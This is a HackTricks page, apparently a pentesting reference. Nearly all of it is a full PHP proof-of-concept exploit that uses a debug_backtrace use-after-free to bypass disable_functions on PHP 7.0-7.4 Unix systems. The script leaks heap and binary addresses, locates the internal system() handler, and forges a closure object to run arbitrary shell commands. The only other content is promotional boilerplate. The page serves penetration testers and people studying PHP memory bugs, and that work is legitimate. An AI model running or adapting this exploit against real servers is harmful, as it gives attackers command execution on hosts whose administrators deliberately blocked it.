disable_functions bypass - PHP 7.0-7.4 (-nix only) - HackTricks

# disable_functions bypass - PHP 7.0-7.4 (*nix only)

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## PHP 7.0-7.4 (*nix only)

From https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

    <?php

    # PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
    #
    # Bug: https://bugs.php.net/bug.php?id=76047
    # debug_backtrace() returns a reference to a variable
    # that has been destroyed, causing a UAF vulnerability.
    #
    # This exploit should work on all PHP 7.0-7.4 versions
    # released as of 30/01/2020.
    #
    # Author: https://github.com/mm0r1

    pwn("uname -a");

    function pwn($cmd) {
        global $abc, $helper, $backtrace;

        class Vuln {
            public $a;
            public function __destruct() {
                global $backtrace;
                unset($this->a);
                $backtrace = (new Exception)->getTrace(); # ;)
                if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                    $backtrace = debug_backtrace();
                }
            }
        }

        class Helper {
            public $a, $b, $c, $d;
        }

        function str2ptr(&$str, $p = 0, $s = 8) {
            $address = 0;
            for($j = $s-1; $j >= 0; $j--) {
                $address <<= 8;
                $address |= ord($str[$p+$j]);
            }
            return $address;
        }

        function ptr2str($ptr, $m = 8) {
            $out = "";
            for ($i=0; $i < $m; $i++) {
                $out .= chr($ptr & 0xff);
                $ptr >>= 8;
            }
            return $out;
        }

        function write(&$str, $p, $v, $n = 8) {
            $i = 0;
            for($i = 0; $i < $n; $i++) {
                $str[$p + $i] = chr($v & 0xff);
                $v >>= 8;
            }
        }

        function leak($addr, $p = 0, $s = 8) {
            global $abc, $helper;
            write($abc, 0x68, $addr + $p - 0x10);
            $leak = strlen($helper->a);
            if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
            return $leak;
        }

        function parse_elf($base) {
            $e_type = leak($base, 0x10, 2);

            $e_phoff = leak($base, 0x20);
            $e_phentsize = leak($base, 0x36, 2);
            $e_phnum = leak($base, 0x38, 2);

            for($i = 0; $i < $e_phnum; $i++) {
                $header = $base + $e_phoff + $i * $e_phentsize;
                $p_type  = leak($header, 0, 4);
                $p_flags = leak($header, 4, 4);
                $p_vaddr = leak($header, 0x10);
                $p_memsz = leak($header, 0x28);

                if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                    # handle pie
                    $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                    $data_size = $p_memsz;
                } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                    $text_size = $p_memsz;
                }
            }

            if(!$data_addr || !$text_size || !$data_size)
                return false;

            return [$data_addr, $text_size, $data_size];
        }

        function get_basic_funcs($base, $elf) {
            list($data_addr, $text_size, $data_size) = $elf;
            for($i = 0; $i < $data_size / 8; $i++) {
                $leak = leak($data_addr, $i * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = leak($leak);
                    # 'constant' constant check
                    if($deref != 0x746e6174736e6f63)
                        continue;
                } else continue;

                $leak = leak($data_addr, ($i + 4) * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = leak($leak);
                    # 'bin2hex' constant check
                    if($deref != 0x786568326e6962)
                        continue;
                } else continue;

                return $data_addr + $i * 8;
            }
        }

        function get_binary_base($binary_leak) {
            $base = 0;
            $start = $binary_leak & 0xfffffffffffff000;
            for($i = 0; $i < 0x1000; $i++) {
                $addr = $start - 0x1000 * $i;
                $leak = leak($addr, 0, 7);
                if($leak == 0x10102464c457f) { # ELF header
                    return $addr;
                }
            }
        }

        function get_system($basic_funcs) {
            $addr = $basic_funcs;
            do {
                $f_entry = leak($addr);
                $f_name = leak($f_entry, 0, 6);

                if($f_name == 0x6d6574737973) { # system
                    return leak($addr + 8);
                }
                $addr += 0x20;
            } while($f_entry != 0);
            return false;
        }

        function trigger_uaf($arg) {
            # str_shuffle prevents opcache string interning
            $arg = str_shuffle(str_repeat('A', 79));
            $vuln = new Vuln();
            $vuln->a = $arg;
        }

        if(stristr(PHP_OS, 'WIN')) {
            die('This PoC is for *nix systems only.');
        }

        $n_alloc = 10; # increase this value if UAF fails
        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = str_shuffle(str_repeat('A', 79));

        trigger_uaf('x');
        $abc = $backtrace[1]['args'][0];

        $helper = new Helper;
        $helper->b = function ($x) { };

        if(strlen($abc) == 79 || strlen($abc) == 0) {
            die("UAF failed");
        }

        # leaks
        $closure_handlers = str2ptr($abc, 0);
        $php_heap = str2ptr($abc, 0x58);
        $abc_addr = $php_heap - 0xc8;

        # fake value
        write($abc, 0x60, 2);
        write($abc, 0x70, 6);

        # fake reference
        write($abc, 0x10, $abc_addr + 0x60);
        write($abc, 0x18, 0xa);

        $closure_obj = str2ptr($abc, 0x20);

        $binary_leak = leak($closure_handlers, 8);
        if(!($base = get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }

        if(!($elf = parse_elf($base))) {
            die("Couldn't parse ELF header");
        }

        if(!($basic_funcs = get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }

        if(!($zif_system = get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }

        # fake closure object
        $fake_obj_offset = 0xd0;
        for($i = 0; $i < 0x110; $i += 8) {
            write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
        }

        # pwn
        write($abc, 0x20, $abc_addr + $fake_obj_offset);
        write($abc, 0xd0 + 0x38, 1, 4); # internal func type
        write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

        ($helper->b)($cmd);
        exit();
    }

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.